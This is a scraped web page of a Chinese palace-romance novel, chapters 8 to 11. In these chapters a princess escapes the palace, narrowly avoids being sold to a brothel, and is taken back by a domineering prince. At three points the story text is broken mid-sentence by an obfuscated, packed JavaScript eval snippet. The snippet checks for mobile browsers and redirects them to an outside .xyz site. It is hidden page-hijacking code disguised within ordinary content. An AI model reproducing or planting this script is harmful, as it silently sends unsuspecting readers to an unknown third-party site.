晋祐帝趁着自己还算清醒,派人日夜赶工兴修陵墓,最担心的事情还是发生了,国库没钱,他的陵园该如何办?还能在自己死前修建好么? 越是上了年纪,他便越是担心自己死后的事情。 永忠公公在旁提醒了一句:“陛下要不要瞧瞧今晨从各封地收上来的岁贡账目?” 晋祐帝彷佛得救般,快速翻阅账目,可越往后看,他的脸色十分难看,各封地收上来的银子一家比一家少,竟还有几个倒欠朝廷不少钱的。 他一脸绝望地翻至最后一页,终于看到了一点希望,漠北那般贫瘠的土地,竟然收上来三十万两岁贡。 “临王的封地倒是收得不少岁贡。” “陛下忘了?临王屠了北齐两座城池,不知抢了多少银钱,恐怕足够陛下修两座陵园呢。” 此时,谢陵挨了五十鞭,后背布满鞭痕,外衣与血肉粘在一块儿,一步一个血印回到正德殿内。 晋祐帝没想到谢陵还会回来,心中大喜,却按下不表:“临王你可知罪了?” 谢陵扫见了晋祐帝案几上的账目,跪下认罪:“臣愿认罪,但闻梨公主是无辜的,请陛下把闻梨公主赐给臣做侧妃。” 堂堂天家公主给他做侧妃?晋祐帝脸色一沉,刚欲发作,但转念一想到自己的陵墓,便忍了下来,“也罢,看你如此痴心的份上,朕便命人拟一道赐婚的圣旨,不过朕另有一事要交给你办,龙源山的陵墓修建出了岔子,朕命你全权负责此事。” 谢陵起身谢旨:“臣定当尽心竭力。” 陆回与商晏在宫外等候多时,瞧见谢陵背上的伤,陆回心疼不已,心中有气无处使:“那女子真值得王爷这般做吗?王爷费心费力在宫里为她争名分,又是挨打,又是送钱,她倒好,趁着王爷不在府中,居然跑了!” 谢陵闻言,眉头紧拧:“风浅何在?我不是吩咐过风浅看住她么?” 陆回气不打一处来,“心野的女子怎看得住?是末将让风浅故意放她跑的,外边全是她的悬赏令,看她能逃到哪里去,末将只是想替王爷试试她的真心罢了,哪成想如此禁不住试探。” 陆回见谢陵脸上的神情愈发冷峻,气焰怂了怂,试着挽回道:“要不,末将这就去将她找回来?” 谢陵径直上了马车,似乎是动了怒,声音极冷:“不必了,她的事你别再插手管。” 陆回一脸无所适从地望了望军师,后者摇摇头,一副他也管不了的样子,陆回颓丧着脸,也上了马车。 * 闻梨没想到自己能顺利逃出来,望着青石板街上人来人往、川流不息的热闹景象,她有些茫然无措,日光照在斑斓多彩的绿瓦红墙上,蝴蝶翩然飞过海棠花枝头,眼前的珠宝铺摆满琳琅满目的首饰,隔壁酒馆高高挂起的幌子随风招展,不知名食物的香气钻进鼻里,眼前的一切是那么鲜活而明媚的。 这繁华热闹的街市一眼望不到头,一路上闻梨瞧见不少三五成群的同龄姑娘,怀里揣着花,相互嬉戏打闹,欢声笑语不断。 相较于皇宫里死气沉沉的压抑氛围,闻梨有种前所未有的愉悦和新鲜感,一边走一边逛,看到许多新奇的小玩意和建筑,但皆是匆匆掠过一眼,不敢学着别的姑娘拿在手里把玩。 因为她身上没钱。 在皇宫中,吃穿住行皆不用付钱,她以为银子只是用来打赏宫人的,没想到外边的世界,处处用得着银子。 不知不觉天色渐晚,闻梨毫无目的逛了半日,从繁华拥挤的街头走到了贫民所住的棚巷,此处房屋多是茅草搭建的,路面的青石板破损得不成样子,房后的溪流散发着阵阵恶臭,路边横七竖八躺着不少人,不知是在睡觉,还是死了。 这时,不知从哪冒出个长相猥琐的汉子,一脸坏笑拦住闻梨的去路:“好生俊俏的小娘子,打哪里来的?要不要陪哥哥玩会儿?” 闻梨连连后退,不知该如何应对,摇头拒绝:“我不玩。” 那汉子目露痴光,想要继续纠缠,还伸手摸闻梨的手,不知从何处飞来一块小石子,击中汉子腿后,将其打趴在地上,疼得汉子躺在地上嗷嗷直叫。 闻梨趁此机会,撒手便跑,一口气没敢歇,不知跑过几条街,才回到人多热闹的主街,在她倚靠着墙歇息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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起了一阵冷风,忽如其来的雨滴砸在她的脸上,天边霎时滚了个响雷,大雨来势凶猛,不等闻梨找檐下避雨,身上被淋湿了大半,还好寻到一处能避雨的牲口棚。 闻梨本想等雨停了再走,累了一整日,刚闭上眼,困意袭来,听着外边的磅礴大雨,她的心里有种久违的踏实感。 此时此刻,牲畜的臭味混和着草料的味道,却让闻梨一直以来紧绷着的思绪逐渐松懈,她越来越喜欢宫外的生活,哪怕明天会沦落到去捡地上的东西吃,她觉得自己是活着的、真实的、自由的。 只要不再做沈皇后的傀儡,对她来说便足够了。 街口缓缓停下一辆马车,风浅隔着车帘,将闻梨的事一字不漏禀告给自己的主子。 谢陵撑着伞,随着风浅来到牲口棚外,凝望着草席下那张恬然的睡脸,静默了好一阵子,想伸手替闻梨拭去额间的雨珠,手凝滞在半空,最终转身离去。 跟在后边的陆回开始有些于心不忍:“好歹是个娇生惯养的公主,被我们逼到这种境地,是不是太过了点?要不明天把悬赏令撤了吧,再派人给公主送点银钱?” 谢陵没说话,径直踏过脚边的水洼,不知道在想什么。 陆回望着谢陵绝决离去的背影,无可奈何摇摇头,再回眸看一眼牲口棚里的落魄公主,喃喃自语:“我家王爷从来不会手软,她扛得住几时呢?” 9. 第九章 翌日仍是个阴雨连绵的天,睡梦中的闻梨被店家晃醒。 “哪来的小叫花子,上别地儿睡去,别耽误我们做生意。” 闻梨睁眼,只觉浑身在打冷颤,眼前一片模糊,连是谁跟她说话都看不清,勉强撑起身子,扶着门出了草棚。 店家将马匹牵进棚里吃草料,忙完出来,发现小叫花子还站着门口,抬手便要赶人,却听到小叫花子说话了。 “劳驾问一句,哪里能赚到银子?” 店家这才抬眼打量闻梨,虽说蓬头垢面,浑身脏兮兮,却还有几分姿色,店家随手一指:“往南走有家青楼,以姑娘的容貌定能寻份差事。” “什么是青楼?” 店家哈哈大笑:“就是男人寻欢作乐的地方。” 闻梨一阵默然,又问:“还有别的地方吗?” 店家一边搬草料,一边道:“你是从谁家逃出来的婢女吧?在玉京城想找份差事不难,但你得有身籍,倘若没有,任哪个店家都不敢用你,就连去府上给人当丫鬟也难。” 闻梨听罢,神色落寞,低声道了一句:“打扰了。” 她转身欲走,又听到店家说道:“东街巷有位国舅爷,他府上夫人世代清流好做善事,每隔三日会在城南戏台布施馒施粥饭,姑娘不妨去那边瞧瞧。” 闻梨道了句多谢,趁着雨停,来到店家所说的地方,果然瞧见有人在布施粥饭,饿了一天一夜,她终于喝上一口热粥,腹中顿觉好受一些。 “你是新来的吗?” 有人朝闻梨搭话,闻梨扭头,瞧见一个比自己矮一截的小乞儿,瞧着十岁左右,牙齿不齐,年纪不大,说话的神态却很老成。 闻梨警惕看向小乞儿,“你在跟我说话?” 小乞儿捧着破碗,挨着闻梨坐下,喝了一口粥:“今天的粥真香,姐姐也是一个人吗?我叫阿桃,姐姐你叫什么名字?” 闻梨听了小乞儿的名字,仔细辨认了一阵,好奇问:“你是个女孩?” 阿桃四下望了一眼,抬手嘘道:“姐姐小声点,别人看不出我的女儿身,姐姐可观察过,这附近的乞丐流民大多数是男的,但凡年轻点的姑娘,不是被拐就是被骗,为了活下来,我不得不扮成小子讨饭。” 闻梨愣住:“那你为何要告诉我?不怕被我骗吗?” 阿桃冲她眨眨眼:“我一见姐姐便觉得亲切,姐姐初来乍到,定要小心防范,你没发现吗?街角有个男子一直在盯着你。” 闻梨回头,果真瞧见街角一闪而过的人影,不由得一阵后怕,“多谢你的提醒,我要走了。” 阿桃忙喝完粥,用手背擦擦嘴,“姐姐跟我往这边来,我知道哪里有小路能甩开他。” 闻梨犹豫片刻,望着阿桃那双清澈的眼眸,下定决心道:“好,我跟你走。” 风浅把人跟丢了,回王府领罚。 书房内,陆回在一旁替风浅求情:“这也不能怪风浅,玉京城地势复杂,不知有多少暗道。” 谢陵不语,自从闻梨逃走后,他的心绪始终烦闷不已,手头还有一堆麻烦事要做,朝堂上永无休止的谋算,叔父的要求与期望,以及王家对他娶侧妃一事的不满,一直以来积压的情绪令他感到疲惫至极,心生倦怠。 外间,商晏匆步而来,“殿下,查清楚了,带走公主的人叫鬼矮鼠,是江湖上有名的盗贼、拐子,会易容术,常扮成幼女接近涉世未深的外来小姑娘,把人骗进青楼和人伢所,我已派人密切蹲守各大青楼和人伢所,暂时还没传回消息。” 谢陵心烦意乱,扔下公文,决定亲自去找。 * 鬼矮鼠带着闻梨来到一处破落的老宅外,推开朽烂的木门,“姐姐快跟我进来吧,咱们总算把那家伙甩掉了。” 闻梨进门后,打量小院内的光景,荒草丛生,杂乱不堪,主屋房梁倾斜,被一根木柱支撑着,矮墙下堆满了柴火,屋内不时传来阵阵老人的咳嗽声。 鬼矮鼠解释道:“我与祖父相依为命,祖父身子不少,姐姐别见怪,跟我来这边。” 鬼矮鼠推开隔壁屋子的房门,里面除了一张垫了草席的木床,以及角落里的木箱子外,别无他物。 鬼矮鼠从灶房给闻梨端了碗水来,“姐姐渴了吧?” 闻梨接过碗,却没喝,“你知道哪里能弄来身籍吗?” 鬼矮鼠:“身籍?黑市里就有卖的,不过要花钱,姐姐身上有钱吗?” 闻梨摇头:“没有。” 鬼矮鼠:“我倒是知道有个地方不需要身籍就能赚钱,但他们要会识字的,姐姐识字吗?” 闻梨点头:“略认得几个字。” 鬼矮鼠笑道:“那就好办了,等姐姐赚到钱,再去黑市买身籍也行,不过姐姐这一身打扮,只怕被他们当成要饭的。” 鬼矮鼠说罢,猫着腰在箱子里翻找,拿出一件旧旧浅粉衣裙,递给闻梨道:“这裙子是我捡来的,姐姐换上试试。” 闻梨捧着衣裙,神色扭捏,迟迟未动。 鬼矮鼠识趣道:“姐姐是难为情吗?那我先出去,姐姐穿上这套衣裙,再改个发式,兴许连白天跟踪你那位都认不出来。” 此时,屋中只剩闻梨一人,待门外脚步声走远,她起身来到箱子边,掀开盖一瞧,霎时惊愣在原地,满满一箱竟全是女子的服饰。 门外响起敲门声:“姐姐换好没?我给你打了水洗脸” 闻梨打开房门,已经换上了干净衣裙,粉裙袅袅,衬得她杏面桃腮,有几分灵动乖巧之美,鬼矮鼠眼神一亮,发出感概:“姐姐果然是个美人!” “我们什么时候走?” “等天黑我带姐姐过去。” 天黑后,鬼矮鼠带着闻梨来到春居香后巷,敲了会儿门,片刻工夫后,从门里走出来一位云鬓高挽、目光精明的花娘,身后还跟着几个打手。 鬼矮鼠指了指墙边站着的闻梨,凑在花娘身边低语了几句,花娘挑剔的眼神来回扫过闻梨的脸,两人似乎在讨价还价。 院墙里不时传来男男女女的欢歌笑语,闻梨想起店家说过的青楼,沈皇后也曾说过母妃是青楼女子,此院内就是青楼吗?青楼招识字的人做什么? 瞧见‘阿桃’在向自己招手,闻梨心中越发觉得不对劲,转身想跑,可她低估了青楼打手的实力,他们比她更快一步到了巷口,拦住她的去路。 惊慌之中,闻梨亲眼瞧见‘阿桃’收了花娘的银子,打手们围上来,粗鲁地抓住她的肩膀,想要给她绑上绳子。 正当此时,从树上跳下两个人,一个高壮结实,一个身手矫健,两人不由分说便对青楼打手拳拳相向,几招过后,青楼打手皆被二人撂倒在地。 花娘还想往里叫人,在看到对方手里亮出的腰牌后,站着不敢动了,鬼矮鼠见势不妙,也欲溜之大吉,被其中一人领住后衣领,压在墙角蹲着。 另一人拿出袖箭,往夜空发出一枚火矢,提醒附近的同伴聚过来此地。当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178236|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人稳住场面,回头却发现闻梨不见了。 “糟糕!二郎你守在这里,我去追她!”高个往巷子深处追去。 夜空又开始下起雨来,雨丝如织,细细密密缠绕在闻梨周身,像是披了层薄雾,风来得又急又冷,混着雨滴,吹得闻梨睁不开眼,不慎踏进路面的低洼处,摔了个狗啃泥。 拐角处传来急促的脚步声,眼看就要被追上,闻梨竭力从水坑里爬起来,身侧蓦然伸出一双手,捂住她的嘴,一把将她拖进窄巷的某道小门后,躲了起来。 闻梨被陌生男子圈在怀中,动弹不得,也发不了声,尚未搞清状况前她没再挣扎,毕竟门外那位未必是好人。 直到巷道里的脚步声走远,男子忽而松开手,声音温润如玉:“是臣冒犯了公主,事态紧急请见谅。” 闻梨错愕回头,脸上沾了泥点,忙拉开与男子的距离,神色不安道:“你认错人了。” 沈迟递来一方手帕,“臣不会认错公主的画像,何况臣也曾在宫宴上见过公主几次,只是公主不认得臣而已。” 闻梨没接手帕,又瞧了沈迟好几眼,脑海中并无半分对此人的印象,但见他神色坦诚,似乎不像个坏人,“那你的姓名是?” “沈迟。” 听到此名,闻梨眼中闪过一丝慌张,刚松懈下来的精神再次紧绷,她没见过沈迟,但从沈皇后之女沁云口中听过无数遍这个名字,自然知道他是沈皇后的侄子。 可门外说不定有青楼的打手,逃跑的这两日她累极了,尤其是刚刚差点被卖进青楼,已经耗费她不少体力,现在头晕眼花,感觉自己随时可能倒在路边,跑也跑不远。 闻梨倚墙而站,眼中透着绝望:“你若是来替沈皇后来抓我回去的,不如给我个痛快,我都死过一回了,什么也不怕,就是不想再见到她。” 沈迟攥紧手帕,神色凝重:“邑王死的那晚,公主也在船上对吗?邑王究竟是怎么死的?” 闻梨不说话,抬眸打量沈迟,良久才道:“你想知道真相的话,就放我离开。” 沈迟摇头:“并非是臣不愿意放公主走,满玉京都是公主的悬赏令,出入城门也有层层盘查,临王的人也在追查公主的下落,公主觉得能躲到哪里去?另外,臣没有替姑母抓公主回去的想法,只是想查清邑王死因。” 闻梨一愣,试图理清思绪,问出心中困惑:“是临王给我下的悬赏令?” 沈迟:“起初是臣,后来结案了,便撤掉了悬赏令,不知怎的,临王又派人贴上了。” 沈迟当时便觉得奇怪,于是跟着谢陵的人,才顺藤摸瓜找到了闻梨。 闻梨总算弄明白了,原来这几日的追兵、大阵仗的搜查,皆是出自谢陵之手,极有可能,她一直活在谢陵的盯梢下,那人没准是故意放她逃走的,就是想看她如丧家犬般东躲西藏,惶惶度日。 脑袋愈发沉重,闻梨只觉头昏脑涨,身上冷得厉害,额间忽然覆来一只手,冰凉如玉。 紧接着身子一轻,闻梨被沈迟抱在怀中,此刻的她已经歇了逃跑的心思,无力地靠着沈迟的胸膛,闭上眼休息。 “公主冒犯了,臣先带你去找大夫。”沈迟抱起闻梨出了门,却发现巷道中不知何时站满了士卒。 夜雨磅礴,似乎无穷无尽,隔着重重雨幕,伞下的谢陵负手而立,神情沉郁,眸色幽深晦暗不明,他盯了面前的二人许久,阴恻恻开口道: “沈侍郎打算把本王的未婚妻带去哪里?” 10. 第十章 闻梨并没有晕过去,听到谢陵声音的刹那间,下意识抓紧沈迟的外衣,以谢陵的性子,被他找回去,还不知自己会落进什么样的境地,倒不如跟着沈迟。 她的小动作落在谢陵漆黑的眼眸中,谢陵推开伞,走进雨里,雨滴顺着他高挺的鼻梁,滑过他紧绷着的下颌,他径直走到沈迟面前,蛮横动手,想把人抢过去。 怀中人瑟缩了一下,沈迟被迫松手,沉声道:“公主受了风寒,正发着热,下官只是想送公主去找大夫,王爷不必如此动怒。” 谢陵接过闻梨,低头看了一眼装睡的某人,稍微在手上使了点力道,将她禁锢得更紧了些,抬头看向沈迟,冷冷道:“本王的未婚妻,不劳沈侍郎费心。” 沈迟不甘心人就这么被临王带走,但对方仗着人多势众,自己什么也做不了,便只能道:“王爷好福气,先与王家定亲,又去宫中求娶公主,您的两个未婚妻当天都在云湖,不知王爷护得住哪一个?下官一定会查清邑王的死因。” “沈侍郎请便。”谢陵转身离开,风浅赶过来撑伞。 闻梨被谢陵稳稳抱在怀中,几乎隔绝了外边的风雨,他身上的暖意与熏香扑来鼻间,她没忍住打了个喷嚏,睁眼时恰好路过春居香的巷道外。 夜雨冷冰冰地淋在地面的尸首上,血水被冲刷了一地,在昏暗的灯光下,泛着诡异的红,‘阿桃’的尸首七歪八扭,像是被人折断了手脚,以某种扭曲的姿势死去。 一阵恶心涌上心头,眼前的画面无端让她想起杀掉邑王那个夜晚,当时她已经彻底失去理智,是存了死念的。 但谢陵不一样,杀了人还能如此镇定自若,彷佛没瞧见那堆尸首,跟没事人一样。 闻梨心中一阵后怕,不自觉缩紧身子,开始担心自己的处境,会不会也跟‘阿桃’一样,凄惨地死在谢陵手里。 上了马车后,闻梨头顶响起一道略含愠怒的嗓音:“醒了就把湿衣服换下,还是想要本王亲自给公主换?” 闻梨忙睁开眼,正对上谢陵凛冽的眼眸,一如既往地冷,还透着几分幽怨、怒火的意味。 谢陵随手扔来一套衣裳,闻梨坐直身子,拿起那套衣服,正准备换上,抬眸望了一眼谢陵,只见他早已别过脸,闭着眼不知在想什么。 闻梨放心脱下湿透的衣裳,换上干净舒爽的衣服,浑身的冷意顿时被驱散不少,随后拆了发饰,拧干头发上的水。 另一边的谢陵也开始脱衣服,闻梨不经意间瞥见他宽阔的肩和精瘦的腰腹,忙闭上双眼,不停地擦着头发。 忽然间,闻梨手里的帕巾被人拿走,谢陵不知何时移来面前,俯身将她圈在怀中,压迫感十足地审视着她。 “公主就没什么想说的吗?” 闻梨被他抵在车壁上,感受着他唇间喷洒而来的热息,本就昏沉沉的脑袋,现在更晕了,脸也很烫:“我、我迷路了,找不到回王府的路,差点被人骗进青楼,王爷怎么现在才来找我?” 她虽晕着,但还没傻到承认自己逃跑的事实。 谢陵挟起她的脸,贴得越来越近:“是么?那公主方才瞧见我,为何还待在沈迟怀里不下来?他的胸膛很好靠么?你很喜欢么?” 闻梨几乎快晕过去了,脸色惨然道:“王爷想知道?你去他怀里躺躺不就知道了。” 谢陵气笑了,一口咬住闻梨的唇,痛得闻梨霎时没了困意,推不开他,便只好强忍下,任由他发泄怒火。 他咬人很痛,但还收着点力道,没咬破她的唇,彷佛是故意的,在她痛得难以忍耐时,却又只吻她,没吻多久便又会变成咬,反复无常,就如同他本人的性格那般恶劣。 闻梨被他折腾得上气不接下气,实在扛不住他折磨人的手段,累得晕睡过去。 * 这一觉闻梨睡了很久,再醒来时,人已经躺回了谢陵的床榻,她只觉口干舌燥,浑身酸软无力,大病一场后,整个人有种虚脱感,望着青帐外模糊的家居摆设,竟有种恍如隔世的感觉,就好像这次逃跑不过是她做的一场梦。 强撑着起身,青帐外传来两道轻微的脚步,床幔被人掀起,光线透进来,闻梨这才看清床边站着两个人,没见过面,但穿着打扮像是从宫里来的。 两名宫女齐声拜见闻梨,“奴婢们是陛下指派来照顾公主的。” 随后,闻梨从宫女口中得知,自己已被父皇许给谢陵做侧妃,将在一个月后,与王家长女一同嫁进临王府。 谢陵答应她的事做到了。 宫女清霜替闻梨端来温水,“公主可要喝点水润润喉?” 另一位宫女翠玉则取来披肩,替闻梨披上:“公主伤寒才好,切莫着凉。” 闻梨喝了两口水,又问道:“我如今在临王府住着,是父皇的意思,还是临王的?” 清霜答道:“公主病中昏迷,陛下特许公主在临王府养病,养好病后还是要回到宫中,从宫里出嫁。” “皇后会操办我的婚事吗?” 清霜:“公主的婚事现由郑贵妃娘娘操办,公主也不必再回风栖宫,出嫁前,都住在郑贵妃娘娘的锦绣宫。” 闻梨的心稍稍安定了些,眼下局面不算太糟,有了第一次的逃跑经历,下次她会准备得更充分些。 在临王府养病的这几日,闻梨都不曾见过谢陵,听殷三娘说,谢陵去了江北,替皇帝巡视大营,恐怕半个月后才会回来。 没过几日,宫里派人来接闻梨回去,时隔半月,再次回到宫中,闻梨的心境不似从前那般悲观绝望,这牢笼此时看起来也没那么可怕,比起那些被困在深宫里,整日工于心计的女人们来说,她觉得自己还有点盼头,至少有出去的机会。 只是闻梨没想到,回宫后第一个想见她的人,居然是那位冷落了她十年的父皇,自从母妃过世,她便再没见过父皇的面。 大殿之上,年近半百的男人独自坐在龙椅上,眼眸聚光迟缓,鬓边白发添了不少,即便是坐拥天下,掌握这世间最高权势的人,也逃不脱岁月的磨砺。 与闻梨记忆中那位高大英武、君威不可冒犯的形象相去甚远。 “儿臣叩见父皇。”闻梨跪下,端端正正行了礼。 殿中央坐着的晋祐帝神情恍惚,默然半晌,自打闻梨进殿,瞧见她那与故人相似的眉眼,深藏于心的诸般记忆被一点点唤醒。 他是爱过虞莲的,当初不顾朝臣反对,宁愿背负昏君的骂名,也要迎娶她入宫为妃,虞莲刚来那阵,他与她恩爱和睦胜过寻常夫妻,到底是从什么时候开始,他与她逐渐生分,最后走向两败俱伤的局面? “上前来,让朕好好瞧瞧你。” 闻梨起身,走到台阶上,规规矩矩站着,任由晋祐帝打量。 晋祐帝望着亭亭玉立的女儿,心中万分感慨:“你长大了,性子变了不少,从前朕叫你过来,不会像现在这般拘束,总是蹦蹦跳跳地跑来撒娇,很讨朕的欢心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178237|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 闻梨望着多年不见的父皇,心里毫无波澜,不知道回他什么话,也许该放声哭出来,诉一诉在凤栖宫所受的苦难,唤醒父皇心底为数不多的舔犊之情。 可她不愿意那么做,母妃狠心,将她一个人扔在宫里,父皇何尝不绝情?曾经视她作掌上明珠,说不见就不见了。 十年里,她被沈皇后折磨得生不如死的时候,无数次盼望父皇能想起有她这么一个女儿,哪怕只是来看看她,但一次也没有,甚至连问候都不曾托人带一句。 闻梨敛下眸中失望的情绪,平静道:“父皇近来可好?儿臣未曾在父皇身边侍奉,是儿臣不孝。” 瞧见女儿这般疏远自己,晋祐帝也有些失落,“朕一切都好,谢陵对你好不好?” 闻梨忍下心中酸涩,“临王对儿臣……很好。” 晋祐帝无奈叹道:“这些年以来,我朝与北齐一直在打仗,多亏有了谢陵,才得以保北边太平。朕让你嫁给谢陵做侧妃,确实委屈了你,朕已下旨封你为阆阙公主,赐封地平洲,另外京城的公主府已在修建了,朕给你的荣华富贵,保你此生无忧,必不会让王家女欺负到你的头上。” 晋祐帝言辞恳切,语重心长的模样,倒是像极了一位为女儿殚精竭虑、苦心谋划的老父亲。 倘若没有后边的话,闻梨也许真以为父皇在尽力弥补父女之间的隔阂。 “但历史上多的是狼子野心谋权篡位的教训,谢家在北边声望高权势大,朕不得不防,你是我皇家的血脉,有皇室在一天,便有你的一席之地,朕思来想去,想让你做朕的眼睛,谢陵倘或有任何不臣之心,定要派人来告诉朕,清霜与翠玉皆是朕的心腹,此令牌你也拿着,有什么紧急的事,可直接夜闯宫门。” 闻梨一时愣住,将父皇所说的话全抛在了脑后,眼里只瞧得见那枚令牌,既然能夜闯宫门,是不是也能趁夜出宫? 不知不觉间她接过令牌,什么话都没说,晋祐帝便权当是她答应了,借口要休息,让闻梨退下。 出了正德殿,闻梨收好令牌,心中刚欢悦片刻,转念想起父皇的话,便又冷静下来,父皇要她当眼线监视谢陵,这是万万行不通的。 经过上次逃跑一事,闻梨明白自己几斤几两,想在谢陵的眼底做什么,简直是难于登天,说不准还会死得很难看,不如想想怎么拿着令牌逃跑吧。 虽说她已经不住凤栖宫,不必受沈皇后牵制,但身边的宫女都是父皇的人,等嫁进王府,又多了谢陵的人看住她,逃跑难度极大。 该怎么逃,逃去哪里,怎么躲过追捕,带多少银子,她需要好好想一想,从长计议。 另一边正在前往江北的谢陵,快马加鞭,日夜不停地赶往目的地,一口气走了三天三夜,陆回累得差点摔下马,说什么也要歇息一晚。 “王爷,您不休息,马儿也要休息啊!” 谢陵不悦地皱了皱眉头,翻身下马,吩咐属下去驿站换几匹马。 陆回一副生无可恋的模样,转过脑袋,对着萧大郎诉苦:“他就是怕回去晚了,小媳妇又跟别人跑了!” 萧大郎拼命给陆回使眼色,但陆回假装看不见,继续挖苦:“大郎啊,过来人奉劝你,找娘子千万不能找心野的,要不然……” 斜对面飞来一块小石子,差点打上陆回的左眼,陆回闭嘴,但还不死心,凑在萧大郎耳边悄声道:“要不然就会变成王爷这副妒夫模样,可怕得很呐!” 11. 第十一章 转眼已至暮春时节,天气逐渐热起来,闻梨回宫的半个多月里,沈皇后不曾来找她麻烦,父皇也没再召见她,就连国公主的敕封仪典,也是由郑贵妃代为操办的。 郑贵妃性子冷淡,不喜与人打交道,宫人也都循规守矩,闻梨在锦秀宫过了段清闲日子,短短半月,身形丰腴不少,气色也愈发红润。 得了空闲,闻梨整天琢磨着,要如何把父皇赏赐的金银珠宝换成钱带在身上,她找来工匠,把金银首饰融成方便携带的金叶子、金瓜子等小物,装进荷包系在腰间,此外袖口、鞋面里,能塞的地方都塞满了,塞不下的,还缝制了好几个内衣口袋来装。 起初她不适应身上沉甸甸的感觉,坐卧行立十分不便,于是她开始每顿多吃一碗饭,体力渐渐跟上,她感觉自己比从前更有活力了不少。 这段日子,闻梨打听到许多宫外的事,例如当铺、钱庄,银票之类的,她想把那些用不着的珠宝悄悄送出宫,全部换成银票装在身上,但宫里没有她信得过的人,清霜和翠玉几乎寸步不离守着,很难找到独处机会。 这日晚膳过后,锦秀宫的掌事姑姑呈来一封请帖,说是从宫外送来的。 闻梨心中好奇,打开来看,原来是镇国公夫人递来的请帖,邀请她去镇国公府京郊别苑参加诗宴。 往年很少有人给她递请帖,即便有一两次那种给所有皇子公主都递贴的,未经沈皇后允许,她出不了宫。今年她刚得了公主封号,又即将嫁给临王,虽为侧妃,却仍有不少人想拉拢她。 在闻梨看来,眼前的诗宴是个好机会,一来能试试父皇给的令牌能不能出宫,二则趁谢陵不在玉京,找机会逃跑,就算没机会,也能把珠宝带去当铺换钱,怎么想都不亏。 诗宴当天,闻梨用过早膳便打算出宫,到了宫门口,给守门的禁军看了眼牌子,片刻后,马车外响起一道洪亮的嗓音。 “臣萧禹奉皇上之命,护送公主前往镇国公府。” 闻梨对此并不意外,清霜与翠玉皆是父皇的人,自己不论做什么,都逃不过父皇的眼,她暗戒自己,绝不能掉以轻心,让父皇察觉到她有想逃的心思。 有了禁军开路,马车畅通无阻驶过繁华热闹的街巷,闻梨透过车帘缝隙观察沿途,默默记住好几家当铺和钱庄的位置。 马车蓦然停下,萧禹回禀说,去路被人挡住了。 闻梨正疑惑什么人敢拦禁军的道,掀开车帘往外看,与此同时,另一辆更宽敞华贵的马车并列驶上来,车帘被人缓缓撩起,显露出一张明艳娇矜的脸。 “我当是谁挡了路,原来是皇姐啊,皇姐真威风,父皇连禁军都派给你使唤呢,父皇既然那么看中你,怎么就让你嫁给别人当侧妃?” 酸溜溜说这话的人是沈皇后之女沁芸,沈皇后手上的伤很重,筋脉断了,再也提不起笔,沁芸早就想找闻梨麻烦,但沈皇后一直拦着不让,说是时机未到。 沁芸心疼母后,也妒羡闻梨的国公主封号,沁芸身为嫡公主,本该是第一个被封赏的公主,事事想争第一的她自然不服气,今天终于逮到机会羞辱闻梨一番。 然而这点嘲讽对闻梨来说不痛不痒,闻梨放下车帘,不想在这种争风吃醋的事情上费心思,便吩咐萧禹让道,让沁芸的马车先走。 沁芸还想再争论一番,却被身边人劝住,“皇姐算了吧,街上人多,别耽误赴宴的时辰。” 沁芸的怒气无处可施,便拿身边人撒气:“赴宴赴宴,就想着去吃!你都不帮我说句话,一点用也没有。” 静绒沉默不语,她是赵婕妤所生,赵婕妤依附着沈皇后过活,而静绒生下来,便是沁芸的小跟班,没少被沁芸欺压,却只能忍气吞声。 说起来,静绒也格外眼热闻梨的婚事,同样是在凤栖宫受苦受难的人,为什么闻梨的命却那么好,能得临王赏识,得父皇偏爱? 倘若当初被沈皇后送去的人是自己,闻梨所拥有的一切,她也能得到吗? 待沁芸的马车走后,闻梨让萧禹将马车赶至路边,她戴上帷帽,抱着妆盒下马车,走进当铺,兑换了好几十张银票和一袋银子出来。 面对清霜和翠玉的询问,闻梨只道那些东西不喜欢,不如换点钱留在身边打赏下人,说着给清霜、翠玉以及萧禹各赏赐了一锭银子,二人也不再多问。 马车继续行驶,顺利出了城门,一个时辰后抵达望枫山脚的国公府别苑门前。 国公夫妇俩瞧见禁军来了,诚惶诚恐出门迎接,当得知来客是闻梨公主,二人互视一眼,纷纷变了脸色。 国公爷如临大敌:“是谁把她请来的?难道不知临王和王家姑娘也在席上吗?” 国公夫人悔恨交加:“我、我不过是走个过场,客套一下,没想到她真的来了!” 后悔也无济于事,国公爷稳住心神,携手夫人上前迎接公主,其实他府上贵客多,公主皇子亲王来了不少,再多一位有封号的公主,也不该如此慌乱。 此事难就难在,这位公主有皇上撑腰,又被指给临王作侧妃,而临王今天是与王家姑娘一起来的,哪边的关系好一目了然,倘若公主觉得脸面难堪,在席上闹起来,两边都得罪不起啊! 